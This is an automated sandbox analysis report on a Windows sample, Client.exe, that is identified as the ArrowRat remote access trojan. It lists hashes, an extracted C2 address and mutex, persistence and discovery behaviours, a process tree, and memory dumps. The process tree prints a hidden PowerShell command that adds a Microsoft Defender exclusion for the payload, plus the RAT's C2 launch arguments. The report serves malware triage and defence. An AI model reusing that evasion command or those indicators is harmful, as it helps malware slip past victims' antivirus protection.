Overview

overview

10

Static

static

10

Client.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05/11/2024, 08:42

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General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    648c702925548284a6455ccad0393887

  • SHA1

    9dacf5df7f98ad089fa5b75ec5c2e699e75c07f8

  • SHA256

    b4b5626f40c75e92f91e0d98e7250827f3080b1c268b9861fdd37e05928359c1

  • SHA512

    026b9d65c29254bc3375e0d7bdd593ec2cfe554036c121da0d29f87a752ec807ca771a93ecb419d0db355e469d4ce3029854ce2446b1af9f5dbd6cdc0d35d55f

  • SSDEEP

    3072:7bzIH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPkqO8Y:7bzIe0ODhTEPgnjuIJzo+PPcfPkV8

Score
10/10
arrowratskibidiadiscoveryexecutionpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

Skibidia

C2

147.185.221.23:49157

Mutex

NDKfDLExh

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Arrowrat family
    arrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of FindShellTrayWindow 30 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4400
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:344
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Skibidia 147.185.221.23 49157 NDKfDLExh
      2⤵
      • System Location Discovery: System Language Discovery
      PID:252
    • C:\Windows\System32\ComputerDefaults.exe
      "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3424
      • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\GMpFiwxAE\xyHWDqVCQ.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4700
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2888

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s0zubhj2.ojn.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/252-7-0x0000000005AA0000-0x0000000006046000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/252-2-0x0000000000400000-0x0000000000418000-memory.dmp

    Filesize

    96KB

    Download

  • memory/252-4-0x0000000004FB0000-0x0000000005042000-memory.dmp

    Filesize

    584KB

    Download

  • memory/252-5-0x0000000005160000-0x00000000051FC000-memory.dmp

    Filesize

    624KB

    Download

  • memory/252-10-0x0000000005300000-0x0000000005366000-memory.dmp

    Filesize

    408KB

    Download

  • memory/252-14-0x0000000005A40000-0x0000000005A90000-memory.dmp

    Filesize

    320KB

    Download

  • memory/4400-6-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4400-1-0x00000253F8EE0000-0x00000253F8F0E000-memory.dmp

    Filesize

    184KB

    Download

  • memory/4400-0-0x00007FFABD6D3000-0x00007FFABD6D5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4400-28-0x00007FFABD6D3000-0x00007FFABD6D5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4400-29-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4700-11-0x00000211511C0000-0x00000211511E2000-memory.dmp

    Filesize

    136KB

    Download